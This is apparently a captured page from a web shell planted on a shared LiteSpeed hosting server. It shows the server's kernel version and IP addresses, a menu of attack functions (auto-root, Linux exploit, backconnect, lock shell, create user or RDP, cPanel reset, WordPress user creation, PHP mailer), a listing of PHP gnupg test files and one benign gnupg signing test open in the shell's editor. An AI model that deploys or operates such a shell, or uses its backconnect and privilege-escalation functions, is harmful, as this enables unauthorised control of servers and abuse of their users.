Linux business72.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
LiteSpeed
: 162.0.229.97 | : 18.118.140.79
Cant Read [ /etc/named.conf ]
8.1.30
temmmp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
opt /
alt /
tests /
alt-php81-pecl-gnupg_1.5.1-1.el8 /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
gnupg_oo_deletekey.phpt
377
B
-rw-r--r--
gnupg_oo_encrypt.phpt
509
B
-rw-r--r--
gnupg_oo_encryptsign.phpt
865
B
-rw-r--r--
gnupg_oo_export.phpt
1.98
KB
-rw-r--r--
gnupg_oo_getengineinfo.phpt
405
B
-rw-r--r--
gnupg_oo_geterror.phpt
286
B
-rw-r--r--
gnupg_oo_geterrorinfo.phpt
460
B
-rw-r--r--
gnupg_oo_import.phpt
680
B
-rw-r--r--
gnupg_oo_init_file_name.phpt
397
B
-rw-r--r--
gnupg_oo_init_home_dir.phpt
660
B
-rw-r--r--
gnupg_oo_keyinfo.phpt
467
B
-rw-r--r--
gnupg_oo_listsignatures.phpt
933
B
-rw-r--r--
gnupg_oo_sign_clear.phpt
817
B
-rw-r--r--
gnupg_oo_sign_detach.phpt
820
B
-rw-r--r--
gnupg_oo_sign_detach_nonarmor....
865
B
-rw-r--r--
gnupg_oo_sign_normal.phpt
846
B
-rw-r--r--
gnupg_oo_sign_normal_noarmor.p...
905
B
-rw-r--r--
gnupg_res_deletekey.phpt
396
B
-rw-r--r--
gnupg_res_encrypt.phpt
559
B
-rw-r--r--
gnupg_res_encryptsign.phpt
921
B
-rw-r--r--
gnupg_res_export.phpt
2
KB
-rw-r--r--
gnupg_res_getengineinfo.phpt
410
B
-rw-r--r--
gnupg_res_geterror.phpt
290
B
-rw-r--r--
gnupg_res_geterrorinfo.phpt
465
B
-rw-r--r--
gnupg_res_import.phpt
697
B
-rw-r--r--
gnupg_res_init_file_name.phpt
404
B
-rw-r--r--
gnupg_res_init_home_dir.phpt
681
B
-rw-r--r--
gnupg_res_keyinfo.phpt
489
B
-rw-r--r--
gnupg_res_listsignatures.phpt
950
B
-rw-r--r--
gnupg_res_sign_clear.phpt
838
B
-rw-r--r--
gnupg_res_sign_detach.phpt
840
B
-rw-r--r--
gnupg_res_sign_detach_nonarmor...
907
B
-rw-r--r--
gnupg_res_sign_normal.phpt
881
B
-rw-r--r--
gnupg_res_sign_normal_noarmor....
920
B
-rw-r--r--
gnupgt.inc
7.11
KB
-rw-r--r--
vars.inc
3.69
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : gnupg_oo_sign_detach_nonarmor.phpt
--TEST-- sign a text with mode SIG_MODE_DETACH and without armored output --SKIPIF-- <?php if(!class_exists("gnupg")) die("skip"); ?> --FILE-- <?php require_once "gnupgt.inc"; gnupgt::import_key(); $gpg = new gnupg(); $gpg->seterrormode(gnupg::ERROR_WARNING); $gpg->setarmor(0); $gpg->setsignmode(gnupg::SIG_MODE_DETACH); $gpg->addsignkey($fingerprint, $passphrase); $ret = $gpg->sign($plaintext); $gpg = NULL; $gpg = new gnupg(); $tmp = false; $ret = $gpg->verify($plaintext, $ret); var_dump($ret); var_dump($plaintext); ?> --EXPECTF-- array(1) { [0]=> array(5) { ["fingerprint"]=> string(40) "2DF0DD02DC9B70B7F64F572E669E775E0A6284B3" ["validity"]=> int(0) ["timestamp"]=> int(%d) ["status"]=> int(0) ["summary"]=> int(0) } } string(7) "foo bar" --CLEAN-- <?php require_once "gnupgt.inc"; gnupgt::delete_key(); ?>
Close